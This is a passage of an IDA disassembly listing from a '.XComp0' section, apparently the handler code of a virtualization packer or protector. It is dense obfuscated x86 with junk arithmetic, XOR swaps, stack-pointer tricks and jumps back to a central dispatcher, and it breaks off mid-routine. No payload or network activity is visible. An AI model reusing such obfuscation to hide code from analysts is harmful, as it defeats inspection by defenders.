loc_598499:				; CODE XREF: .XComp0:0058A0FCj
		push	ebp
		mov	ebp, 208876E7h
		push	ebp
		inc	dword ptr [esp]
		pop	ebp
		sub	ebp, 0AB70362Ah
		sub	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 0DAF53C4h
		inc	esi
		xor	esi, 5F31EDAh
		xor	esi, 9D0CB774h
		sub	edi, 70524611h
		add	edi, esi
		add	edi, 70524611h
		pop	esi
		mov	esi, 3259141Ah
		add	esi, 1D8333C6h
		push	ecx
		mov	ecx, 7F9350B0h
		add	esi, ecx
		pop	ecx
		add	esi, edi
		sub	esi, 7F9350B0h
		push	edx
		jmp	loc_58800C
; ---------------------------------------------------------------------------


loc_5984FE:				; CODE XREF: .XComp0:00583B6Dj
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_59850C:				; CODE XREF: .XComp0:00588C48j
		jmp	loc_583A60
; ---------------------------------------------------------------------------
		lodsd
		add	eax, 2DC42C3Eh
		sub	eax, ebx
		push	ecx
		sub	esp, 4
		mov	[esp], edx
		push	ebx
		mov	ebx, 5809442Bh
		push	ecx
		push	ebp
		push	6A895281h
		pop	ebp
		jmp	loc_58CE55
; ---------------------------------------------------------------------------


loc_598536:				; CODE XREF: .XComp0:0059159Fj
		not	cl
		sub	cl, 0CDh
		add	ah, cl
		pop	ecx
		jmp	loc_594193
; ---------------------------------------------------------------------------


loc_598543:				; CODE XREF: .XComp0:00590D59j
		mov	esi, [esp]
		add	esp, 4
		not	esi
		xor	esi, 0A564CA55h
		push	esi
		jmp	loc_59482C
; ---------------------------------------------------------------------------


loc_598557:				; CODE XREF: .XComp0:0058788Cj
		pop	ebx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 24280C1Fh
		add	edx, edi
		jmp	loc_584FA6
; ---------------------------------------------------------------------------


loc_59856A:				; CODE XREF: .XComp0:00598996j
		sub	edi, eax
		pop	eax
		jmp	loc_592263
; ---------------------------------------------------------------------------


loc_598572:				; CODE XREF: .XComp0:0058B958j
		add	ebx, edx
		pop	edx
		push	esi
		mov	esi, 4
		add	ebx, 13F23ADh
		jmp	loc_58B77D
; ---------------------------------------------------------------------------


loc_598586:				; CODE XREF: .XComp0:0058A65Aj
		dec	edx
		or	edx, 154143E3h
		sub	edx, 2F8061BDh
		jmp	loc_592EC7
; ---------------------------------------------------------------------------


loc_598598:				; CODE XREF: .XComp0:0058A394j
		pop	esp
		push	ebx
		push	edx
		mov	edx, 7AC62F8Bh
		xor	edx, 4484729Ch
		jmp	loc_586CD9
; ---------------------------------------------------------------------------


loc_5985AB:				; CODE XREF: .XComp0:005926E6j
		push	edi
		mov	edi, 10323DDCh
		push	esi
		mov	esi, 212612DCh
		not	esi
		shr	esi, 3
		xor	esi, 4C972B18h
		or	esi, 2084032Ch
		jmp	loc_587FC7
; ---------------------------------------------------------------------------


loc_5985CD:				; CODE XREF: .XComp0:005987EBj
		push	4F0Ch
		mov	[esp], esp
		push	ebx
		jmp	loc_596607
; ---------------------------------------------------------------------------


loc_5985DB:				; CODE XREF: .XComp0:0058C70Aj
		sub	eax, 55196EB4h
		push	ebx
		mov	ebx, 18726086h
		and	ebx, 5871790Eh
		sub	ebx, 0A558E884h
		sub	eax, ebx
		pop	ebx
		add	eax, esi
		jmp	loc_590312
; ---------------------------------------------------------------------------


loc_5985FC:				; CODE XREF: .XComp0:005860DCj
		add	edi, eax
		sub	edi, 435B5BF6h
		pop	eax
		or	edi, 1FF57F6Bh
		or	edi, 7D310159h
		sub	edi, 74F71AFCh
		shl	edi, 7
		xor	edi, 0C9600433h
		push	edi
		jmp	loc_593E02
; ---------------------------------------------------------------------------


loc_598626:				; CODE XREF: .XComp0:0059548Aj
		pop	edx
		push	ebp
		mov	ebp, 2
		add	edi, ebp
		pop	ebp
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		div	cx
		push	small 5CE1h
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_59864F:				; CODE XREF: .XComp0:0059537Aj
		push	eax
		mov	eax, 4
		jmp	loc_594B89
; ---------------------------------------------------------------------------


loc_59865A:				; CODE XREF: .XComp0:005864D1j
		sub	ecx, eax
		pop	eax
		jmp	loc_5905BB
; ---------------------------------------------------------------------------


loc_598662:				; CODE XREF: .XComp0:00588894j
		not	eax
		add	eax, 50AF9A0Ah
		add	ebp, eax
		pop	eax
		mov	ebx, [esp]
		add	esp, 4
		push	ebp
		xor	dword ptr [esp], 0DBA2955h
		mov	ebx, [esp]
		add	esp, 4
		xor	ebx, 0DBA2955h
		jmp	loc_591C9F
; ---------------------------------------------------------------------------


loc_59868E:				; CODE XREF: .XComp0:0058E561j
		mov	al, 45h
		add	bl, al
		mov	eax, [esp]
		add	esp, 4
		movzx	eax, al
		jmp	loc_589129
; ---------------------------------------------------------------------------


loc_5986A0:				; CODE XREF: .XComp0:00591619j
		push	ebx
		mov	bl, 23h
		shl	bl, 3
		push	eax
		push	ecx
		mov	cl, 68h
		shr	cl, 8
		xor	cl, 0ABh
		shr	cl, 1
		dec	cl
		add	cl, 0A8h
		mov	al, cl
		pop	ecx
		shl	al, 4
		dec	al
		shl	al, 4
		sub	al, 1
		push	edx
		jmp	loc_58938C
; ---------------------------------------------------------------------------


loc_5986CA:				; CODE XREF: .XComp0:00597F0Dj
		neg	eax
		dec	eax
		inc	eax
		jmp	loc_58B79C
; ---------------------------------------------------------------------------


loc_5986D3:				; CODE XREF: .XComp0:00589B3Bj
		mov	ecx, edi
		pop	edi
		mov	ebx, ecx
		pop	ecx
		push	esi
		mov	esi, 40511A6Dh
		shr	esi, 2
		push	ebp
		jmp	loc_590CDA
; ---------------------------------------------------------------------------


loc_5986E8:				; CODE XREF: .XComp0:0059411Dj
		mov	[esp], esp
		jmp	loc_592D36
; ---------------------------------------------------------------------------


loc_5986F0:				; CODE XREF: .XComp0:005942CEj
		xor	[esp], esi
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_5986FE:				; CODE XREF: .XComp0:00594904j
		push	ecx
		jmp	loc_588CB4
; ---------------------------------------------------------------------------


loc_598704:				; CODE XREF: .XComp0:00593F93j
		pop	ecx
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_59870A:				; CODE XREF: .XComp0:0058FE72j
		push	4184h
		jmp	loc_5888C4
; ---------------------------------------------------------------------------


loc_598714:				; CODE XREF: .XComp0:00593748j
		push	71DBh
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	esi
		mov	esi, 6E6335B6h
		jmp	loc_59842A
; ---------------------------------------------------------------------------


loc_598736:				; CODE XREF: .XComp0:00598BA1j
		push	edx
		mov	dh, 1Eh
		push	ebx
		mov	bl, 42h
		or	dh, bl
		pop	ebx
		xor	dh, 99h
		xor	dh, 8Fh
		and	al, dh
		pop	edx
		inc	al
		sub	al, 0FFh
		not	al
		add	al, 0BEh
		sub	al, 0EFh
		sub	bh, al
		pop	eax
		jmp	loc_5912E0
; ---------------------------------------------------------------------------


loc_59875A:				; CODE XREF: .XComp0:0058D35Dj
		push	23B0h
		mov	[esp], ebx
		jmp	loc_5890EA
; ---------------------------------------------------------------------------


loc_598767:				; CODE XREF: .XComp0:0058B2DBj
		mov	ecx, 5DE855A5h
		shr	ecx, 1
		jmp	loc_58A58E
; ---------------------------------------------------------------------------


loc_598773:				; CODE XREF: .XComp0:0058C986j
		push	7960h
		mov	[esp], eax
		jmp	loc_589398
; ---------------------------------------------------------------------------


loc_598780:				; CODE XREF: .XComp0:00598122j
		push	2A7Ch
		mov	[esp], edx
		push	esp
		pop	edx
		add	edx, 4
		sub	esp, 4
		jmp	loc_58DC0A
; ---------------------------------------------------------------------------


loc_59879B:				; CODE XREF: .XComp0:00591131j
		xor	esi, edx
		pop	edx
		mov	edx, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		and	eax, edx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		add	esp, 4
		or	eax, eax
		jz	loc_58D190
		push	dword ptr [edi+1Ch]
		push	ebp
		mov	ebp, 456037A9h
		add	[esp+4], ebp
		pop	ebp
		mov	ecx, [esp]
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_58A76B
; ---------------------------------------------------------------------------


loc_5987E2:				; CODE XREF: .XComp0:00591F1Bj
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5985CD
; ---------------------------------------------------------------------------


loc_5987F0:				; CODE XREF: .XComp0:0058AE7Fj
		pop	esp
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_5987F6:				; CODE XREF: .XComp0:00595B15j
		not	dword ptr [esp]
		inc	dword ptr [esp]
		pop	ebp
		jmp	loc_5871E5
; ---------------------------------------------------------------------------


loc_598802:				; CODE XREF: .XComp0:0058A31Fj
		mov	ebp, esp
		jmp	loc_597A5C
; ---------------------------------------------------------------------------


loc_598809:				; CODE XREF: .XComp0:00591C46j
		pop	eax
		add	al, 2Eh
		add	al, ch
		sub	al, 2Eh
		jmp	loc_589DBA
; ---------------------------------------------------------------------------


loc_598815:				; CODE XREF: .XComp0:005849C1j
		mov	[esp], edi
		push	ebp
		push	42F96E53h
		pop	ebp
		push	4BD4h
		mov	[esp], ebx
		push	ebp
		mov	ebp, 783A1181h
		push	ebp
		push	edi
		pop	ebp
		pop	edi
		jmp	loc_58A927
; ---------------------------------------------------------------------------


loc_598836:				; CODE XREF: .XComp0:00585111j
		shr	edi, 8
		add	edi, 54594614h
		jmp	loc_58CA35
; ---------------------------------------------------------------------------


loc_598844:				; CODE XREF: .XComp0:0058CC1Ej
		shr	ebp, 3
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_59234A
; ---------------------------------------------------------------------------


loc_59885F:				; CODE XREF: .XComp0:00595B2Aj
		pop	edx
		add	esi, 3E590187h
		jmp	loc_58485B
; ---------------------------------------------------------------------------


loc_59886B:				; CODE XREF: .XComp0:0058CDF5j
		pop	di
		jmp	loc_594E78
; ---------------------------------------------------------------------------


loc_598872:				; CODE XREF: .XComp0:0058E66Cj
		add	esi, 64CD2CB0h
		add	esi, ecx
		sub	esi, 64CD2CB0h
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		sub	eax, esi
		pop	esi
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		jmp	loc_59285B
; ---------------------------------------------------------------------------


loc_5988A7:				; CODE XREF: .XComp0:0059509Ej
		push	edx
		mov	edx, 67EC317Bh
		add	eax, edx
		pop	edx
		jmp	loc_58A32D
; ---------------------------------------------------------------------------


loc_5988B5:				; CODE XREF: .XComp0:00589BC2j
		movzx	ecx, al
		push	3A39h
		mov	[esp], ecx
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_5988C5:				; CODE XREF: .XComp0:0059749Dj
		sub	ebp, eax
		pop	eax
		push	edi
		mov	edi, 1
		add	ebp, edi
		pop	edi
		add	ebp, 0DB8B9DF5h
		and	edi, ebp
		jmp	loc_592EE2
; ---------------------------------------------------------------------------


loc_5988DE:				; CODE XREF: .XComp0:00597265j
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5924C1
; ---------------------------------------------------------------------------


loc_5988ED:				; CODE XREF: .XComp0:005980F8j
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_5864EE
; ---------------------------------------------------------------------------


loc_5988FB:				; CODE XREF: .XComp0:00585F6Cj
		add	[esp+8], esi
		add	dword ptr [esp+8], 682F35B9h
		mov	esi, [esp]
		add	esp, 4
		add	dword ptr [esp+4], 6C487D63h
		add	[esp+4], eax
		sub	dword ptr [esp+4], 6C487D63h
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_58FE82
; ---------------------------------------------------------------------------


loc_598932:				; CODE XREF: .XComp0:0058AB6Aj
		pop	edx
		xor	cl, 0A8h
		sub	al, 0F5h
		add	al, 0D0h
		sub	al, cl
		sub	al, 0D0h
		push	small 6EA2h
		mov	[esp], dx
		jmp	loc_58E464
; ---------------------------------------------------------------------------


loc_59894B:				; CODE XREF: .XComp0:005925C2j
		mov	[esp], eax
		push	1F62h
		mov	[esp], ecx
		jmp	loc_59615C
; ---------------------------------------------------------------------------


loc_59895B:				; CODE XREF: .XComp0:0058EB2Ej
		mov	[esp], eax
		sub	esp, 4
		jmp	loc_58B8C1
; ---------------------------------------------------------------------------


loc_598966:				; CODE XREF: .XComp0:00588C07j
		sub	eax, 34005656h
		mov	edx, [esp]
		add	esp, 4
		push	edi
		jmp	loc_597594
; ---------------------------------------------------------------------------


loc_59897A:				; CODE XREF: .XComp0:00587D76j
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	eax
		push	712Dh
		jmp	loc_58CF8F
; ---------------------------------------------------------------------------


loc_59898B:				; CODE XREF: .XComp0:0058EA26j
		mov	ecx, 4
		push	eax
		mov	eax, 2DAE2CDDh
		jmp	loc_59856A
; ---------------------------------------------------------------------------


loc_59899B:				; CODE XREF: .XComp0:00586100j
		add	esi, 2F5C2EADh
		add	esi, ecx
		sub	esi, 2F5C2EADh
		push	ecx
		mov	ecx, 26DA6057h
		add	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5884EB
; ---------------------------------------------------------------------------


loc_5989BF:				; CODE XREF: .XComp0:0059438Cj
		pop	esi
		add	ebp, 4
		xor	ebp, [esp]
		jmp	loc_58683B
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ecx
		push	1200h
		mov	[esp], esp
		jmp	loc_59725E
; ---------------------------------------------------------------------------


loc_5989E5:				; CODE XREF: .XComp0:00594084j
		push	edi
		jmp	loc_58A341
; ---------------------------------------------------------------------------


loc_5989EB:				; CODE XREF: .XComp0:0058A7B9j
		not	ebp
		push	esi
		mov	esi, 653F71CFh
		not	esi
		shl	esi, 3
		jmp	loc_58CE0E
; ---------------------------------------------------------------------------


loc_5989FD:				; CODE XREF: .XComp0:0058BB86j
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		add	ebp, 4
		push	esi
		push	edi
		mov	edi, 34553DD7h
		shr	edi, 7
		and	edi, 4E434682h
		inc	edi
		jmp	loc_585395
; ---------------------------------------------------------------------------


loc_598A27:				; CODE XREF: .XComp0:00589CA4j
		sub	edx, 0FFFFFFFFh
		neg	edx
		sub	edx, 6E147A7Ah
		sub	esi, edx
		pop	edx
		add	esi, 0BAB5CBAh
		add	ebx, esi
		pop	esi
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		mul	cl
		movzx	cx, ah
		push	small 2326h
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_598A6B:				; CODE XREF: .XComp0:005938BCj
		sub	eax, 4E442201h
		add	eax, 732543C7h
		add	eax, ecx
		sub	eax, 732543C7h
		jmp	loc_594122
; ---------------------------------------------------------------------------


loc_598A81:				; CODE XREF: .XComp0:0058D04Fj
		add	esp, 4
		xor	esi, 41C67918h
		shr	esi, 8
		push	ecx
		mov	ecx, 108840B0h
		add	esi, ecx
		pop	ecx
		not	esi
		sub	esi, 90839F1Eh
		sub	eax, esi
		pop	esi
		sub	eax, ebp
		push	ebp
		mov	ebp, 5E836806h
		add	eax, ebp
		pop	ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		jmp	loc_58B159
; ---------------------------------------------------------------------------


loc_598AB7:				; CODE XREF: .XComp0:0058497Dj
		xor	bl, al
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_59554F
; ---------------------------------------------------------------------------


loc_598AE2:				; CODE XREF: .XComp0:0059545Cj
		push	small 2D38h
		mov	[esp], ax
		jmp	loc_598310
; ---------------------------------------------------------------------------


loc_598AEF:				; CODE XREF: .XComp0:0058A27Dj
		mov	[esp], ebx
		mov	ebx, esp
		push	edi
		jmp	loc_59153C
; ---------------------------------------------------------------------------


loc_598AFA:				; CODE XREF: .XComp0:0058478Aj
		pop	esi
		push	ebx
		mov	ebx, 2
		add	ebp, ebx
		pop	ebx
		xchg	ebp, [esp]
		jmp	loc_58FE65
; ---------------------------------------------------------------------------


loc_598B0C:				; CODE XREF: .XComp0:00596AD2j
		push	edi
		mov	edi, 57B44215h
		shr	edi, 7
		jmp	loc_592FC1
; ---------------------------------------------------------------------------


loc_598B1A:				; CODE XREF: .XComp0:0058F6A7j
		push	ebp
		jmp	loc_597BF2
; ---------------------------------------------------------------------------


loc_598B20:				; CODE XREF: .XComp0:00594A63j
		add	esp, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		add	[esp], al
		pushf
		jmp	loc_58F940
; ---------------------------------------------------------------------------


loc_598B38:				; CODE XREF: .XComp0:00591920j
		add	esp, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_5901EB
; ---------------------------------------------------------------------------


loc_598B44:				; CODE XREF: .XComp0:00595DDBj
		xor	cl, al
		pop	eax
		jmp	loc_58B377
; ---------------------------------------------------------------------------


loc_598B4C:				; CODE XREF: .XComp0:0059354Bj
		xor	ch, 0E0h
		sub	al, 67h
		add	al, ch
		jmp	loc_59386E
; ---------------------------------------------------------------------------


loc_598B58:				; CODE XREF: .XComp0:0058EE8Aj
		pop	ebp
		mov	edx, [esp]
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		push	ebp
		jmp	loc_5965F5
; ---------------------------------------------------------------------------


loc_598B71:				; CODE XREF: .XComp0:00598D94j
		add	esp, 4
		jmp	loc_591173
; ---------------------------------------------------------------------------


loc_598B7C:				; CODE XREF: .XComp0:005978A3j
		sub	ebx, 0EC3840DBh
		mov	esi, ebx
		pop	ebx
		push	edx
		jmp	loc_587FDE
; ---------------------------------------------------------------------------


loc_598B8B:				; CODE XREF: .XComp0:005929EEj
		xor	ebp, 294F51AFh
		and	ebp, 46F81665h
		jmp	loc_58FCB1
; ---------------------------------------------------------------------------


loc_598B9C:				; CODE XREF: .XComp0:00590BCDj
		mov	bh, 0F3h
		mov	al, bh
		pop	ebx
		jmp	loc_598736
; ---------------------------------------------------------------------------


loc_598BA6:				; CODE XREF: .XComp0:005956E0j
		push	5DD4h
		mov	[esp], edi
		jmp	loc_58658E
; ---------------------------------------------------------------------------


loc_598BB3:				; CODE XREF: .XComp0:0058B1ACj
		mov	edx, eax
		pop	eax
		sub	ebx, 735517A3h
		sub	ebx, 41717410h
		sub	ebx, edx
		push	edx
		jmp	loc_597FDF
; ---------------------------------------------------------------------------


loc_598BCA:				; CODE XREF: .XComp0:0058854Dj
		mov	edx, [esp]
		push	ecx
		jmp	loc_58BA87
; ---------------------------------------------------------------------------


loc_598BD3:				; CODE XREF: .XComp0:00585E97j
		add	eax, 2C1D6A60h
		add	eax, ebx
		jmp	loc_59488D
; ---------------------------------------------------------------------------


loc_598BDF:				; CODE XREF: .XComp0:0058D162j
		push	4
		pop	ebx
		jmp	loc_592958
; ---------------------------------------------------------------------------


loc_598BEA:				; CODE XREF: .XComp0:00584E13j
		dec	eax
		sub	eax, 0A1B5CD20h
		add	edx, 1E1F72C3h
		add	edx, eax
		sub	edx, 1E1F72C3h
		jmp	loc_58FF07
; ---------------------------------------------------------------------------


loc_598C03:				; CODE XREF: .XComp0:005882A9j
		mov	ecx, ebx
		pop	ebx
		mov	ebp, 631150CEh
		jmp	loc_5936A1
; ---------------------------------------------------------------------------


loc_598C10:				; CODE XREF: .XComp0:00597759j
		mov	edi, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		jmp	loc_58E258
; ---------------------------------------------------------------------------


loc_598C26:				; CODE XREF: .XComp0:0058A49Dj
		push	664Ch
		mov	[esp], edx
		push	63A7h
		mov	[esp], esi
		mov	esi, 4
		mov	edx, esi
		pop	esi
		add	ebp, edx
		jmp	loc_58E81A
; ---------------------------------------------------------------------------


loc_598C45:				; CODE XREF: .XComp0:0058F10Cj
		mov	[esp], dx
		push	ecx
		mov	cx, 4F9Ch
		shr	cx, 1
		sub	cx, 5856h
		jmp	loc_58C3A6
; ---------------------------------------------------------------------------


loc_598C5B:				; CODE XREF: .XComp0:0058984Cj
		push	3A1Eh
		mov	[esp], ebx
		push	ecx
		mov	cl, 0A5h
		not	cl
		push	dx
		mov	dh, 0E5h
		sub	cl, dh
		pop	dx
		push	dx
		jmp	loc_597C05
; ---------------------------------------------------------------------------


loc_598C77:				; CODE XREF: .XComp0:005915CCj
		movzx	cx, ah
		push	edi
		push	esp
		pop	edi
		push	0D99h
		mov	[esp], esi
		push	4B28h
		mov	[esp], ebx
		mov	ebx, 69E46C2Bh
		shl	ebx, 6
		sub	ebx, 4872C0ACh
		jmp	loc_588DB5
; ---------------------------------------------------------------------------


loc_598CA1:				; CODE XREF: .XComp0:0058F485j
		sub	esi, 7E8C3D39h
		dec	esi
		sub	esi, 72657C5Fh
		xor	ebp, esi
		jmp	loc_58626D
; ---------------------------------------------------------------------------


loc_598CB5:				; CODE XREF: .XComp0:00594968j
		xchg	eax, [esp]
		mov	esp, [esp]
		add	ecx, 4A5A0BA5h
		push	2E25h
		jmp	loc_58A68B
; ---------------------------------------------------------------------------


loc_598CCB:				; CODE XREF: .XComp0:00585582j
		add	cl, bl
		pop	ebx
		add	cl, ah
		sub	cl, 10h
		jmp	loc_58AEF9
; ---------------------------------------------------------------------------


loc_598CD8:				; CODE XREF: .XComp0:005919AEj
		push	esi
		jmp	loc_585A53
; ---------------------------------------------------------------------------


loc_598CDE:				; CODE XREF: .XComp0:00583ACFj
		mov	edx, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_594109
; ---------------------------------------------------------------------------


loc_598CED:				; CODE XREF: .XComp0:0059374Fj
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_594543
; ---------------------------------------------------------------------------


loc_598D29:				; CODE XREF: .XComp0:00597FA7j
		pop	esi
		or	eax, esi
		pop	esi
		and	eax, 625C354Dh
		add	eax, 796D7196h
		jmp	loc_5928C5
; ---------------------------------------------------------------------------


loc_598D3C:				; CODE XREF: .XComp0:00589615j
		mov	al, 0E3h
		jmp	loc_593BCB
; ---------------------------------------------------------------------------


loc_598D43:				; CODE XREF: .XComp0:0059559Fj
		add	ebx, 12814155h
		mov	ecx, [esp]
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_58C335
; ---------------------------------------------------------------------------


loc_598D66:				; CODE XREF: .XComp0:005907A5j
		pop	ebp
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		idiv	cl
		jmp	loc_586C16
; ---------------------------------------------------------------------------


loc_598D78:				; CODE XREF: .XComp0:005863EFj
		push	ebp
		mov	ebp, 620B7FECh
		and	esi, ebp
		pop	ebp
		xor	esi, 15765EC4h
		mov	edi, esi
		pop	esi
		jmp	loc_5926BF
; ---------------------------------------------------------------------------


loc_598D8F:				; CODE XREF: .XComp0:005875E6j
		add	ebx, edx
		mov	edx, [esp]
		jmp	loc_598B71
; ---------------------------------------------------------------------------


loc_598D99:				; CODE XREF: .XComp0:0058694Aj
		mov	edx, 0
		add	edx, ebx
		add	[edx], ebp
		pop	edx
		pop	ebx
		pop	ebp
		add	dword ptr [edi+24h], 97112539h
		xor	edx, edx
		push	6161h
		mov	[esp], ebp
		jmp	loc_593995
; ---------------------------------------------------------------------------


loc_598DBB:				; CODE XREF: .XComp0:0059375Dj
		push	ebx
		jmp	loc_5937E8
; ---------------------------------------------------------------------------


loc_598DC1:				; CODE XREF: .XComp0:00591BC8j
		add	ecx, ebp
		pop	ebp
		jmp	loc_58E573
; ---------------------------------------------------------------------------


loc_598DC9:				; CODE XREF: .XComp0:00584B40j
		push	3D6Bh
		mov	[esp], edx
		push	eax
		mov	eax, 2AAF3D9Bh
		push	ebp
		mov	ebp, 26020F53h
		jmp	loc_595B07
; ---------------------------------------------------------------------------


loc_598DE2:				; CODE XREF: .XComp0:005919CCj
		push	ebp
		mov	ebp, 83D1B6Bh
		xor	esi, ebp
		pop	ebp
		add	esi, 0A7398F2Dh
		jmp	loc_5952D8
; ---------------------------------------------------------------------------


loc_598DF6:				; CODE XREF: .XComp0:0058A3BDj
		pop	ebx
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	edi
		mov	edi, 60104B04h
		push	ebp
		mov	ebp, 3CFB569Dh
		xor	ebp, 7F3A0877h
		jmp	loc_584D69
; ---------------------------------------------------------------------------


loc_598E1E:				; CODE XREF: .XComp0:0058FCF6j
		mov	esi, 21BE14E6h
		push	ecx
		mov	ecx, 34A6757Bh
		add	ecx, 11ED7823h
		shr	ecx, 1
		jmp	loc_596D47
; ---------------------------------------------------------------------------


loc_598E36:				; CODE XREF: .XComp0:0058EA03j
		mov	esp, [esp]
		div	cl
		movzx	cx, ah
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_58726F
; ---------------------------------------------------------------------------


loc_598E53:				; CODE XREF: .XComp0:00584C5Cj
		mov	eax, 147745B9h
		dec	eax
		jmp	loc_58431E
; ---------------------------------------------------------------------------


loc_598E5E:				; CODE XREF: .XComp0:0058F548j
		and	cl, dh
		jmp	loc_584628
; ---------------------------------------------------------------------------


loc_598E65:				; CODE XREF: .XComp0:0058B8CCj
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	ebp
		mov	ebp, esp
		jmp	loc_58DF1F
; ---------------------------------------------------------------------------


loc_598E77:				; CODE XREF: .XComp0:0058C19Bj
		pop	esi
		jmp	loc_58C03C
; ---------------------------------------------------------------------------


loc_598E7D:				; CODE XREF: .XComp0:00591851j
		push	ebx
		pop	edx
		pop	ebx
		inc	edx
		dec	edx
		xor	edx, 4E1008B9h
		jmp	loc_584012
; ---------------------------------------------------------------------------


loc_598E8D:				; CODE XREF: .XComp0:00595267j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ecx
		jmp	loc_596662
; ---------------------------------------------------------------------------


loc_598E9D:				; CODE XREF: .XComp0:005971EEj
		add	ebx, ecx
		sub	ebx, 211E6A67h
		sub	ebx, 6B1D62B8h
		push	eax
		jmp	loc_588CFA
; ---------------------------------------------------------------------------


loc_598EB1:				; CODE XREF: .XComp0:005870EFj
		add	edi, 4A8814A7h
		jmp	loc_589E0B
; ---------------------------------------------------------------------------


loc_598EBC:				; CODE XREF: .XComp0:005923B5j
		push	1DDCh
		mov	[esp], ecx
		jmp	loc_58C017
; ---------------------------------------------------------------------------


loc_598EC9:				; CODE XREF: .XComp0:0059418Ej
		pop	edi
		add	eax, ebp
		jmp	loc_5844AD
; ---------------------------------------------------------------------------


loc_598ED1:				; CODE XREF: .XComp0:0058A94Cj
		mov	[esp], edx
		push	4
		pop	edx
		add	esi, edx
		push	dword ptr [esp]
		pop	edx
		push	ecx
		jmp	loc_58574F
; ---------------------------------------------------------------------------


loc_598EE6:				; CODE XREF: .XComp0:0058EB7Cj
		add	ebp, edx
		jmp	loc_58ED06
; ---------------------------------------------------------------------------


loc_598EED:				; CODE XREF: .XComp0:00590AAFj
		sub	ebp, 348FADB7h
		add	esi, ebp
		pop	ebp
		add	esi, eax
		sub	esi, 3A2554CAh
		add	esi, 4E0C2D72h
		mov	eax, [esp]
		sub	esp, 4
		jmp	loc_591863
; ---------------------------------------------------------------------------


loc_598F12:				; CODE XREF: .XComp0:0058B7C1j
		add	edx, 1846258Eh
		or	edx, 192376A6h
		sub	edx, 7F63FFEAh
		mov	eax, edx
		mov	edx, [esp]
		add	esp, 4
		push	esi
		push	5F4C1704h
		jmp	loc_585F63
; ---------------------------------------------------------------------------


loc_598F37:				; CODE XREF: .XComp0:00594D17j
		mov	cl, bh
		pop	ebx
		mov	ax, [esp]
		add	esp, 2
		xor	al, cl
		mov	cx, [esp]
		jmp	loc_59548F
; ---------------------------------------------------------------------------


loc_598F4F:				; CODE XREF: .XComp0:005951FAj
		add	ecx, esi
		add	ecx, 52790115h
		pop	esi
		jmp	loc_58443E
; ---------------------------------------------------------------------------


loc_598F5D:				; CODE XREF: .XComp0:005845B3j
		xor	edx, esi
		pop	esi
		and	eax, edx
		jmp	loc_597665
; ---------------------------------------------------------------------------


loc_598F67:				; CODE XREF: .XComp0:0058E815j
		pop	ecx
		sub	eax, 7EE07ED9h
		add	edi, eax
		pop	eax
		push	edi
		jmp	loc_592F3E
; ---------------------------------------------------------------------------


loc_598F76:				; CODE XREF: .XComp0:00590D03j
		sub	ecx, esi
		pop	esi
		push	ebp
		mov	ebp, 219261E4h
		add	ebp, 47EEA8AAh
		sub	eax, ebp
		pop	ebp
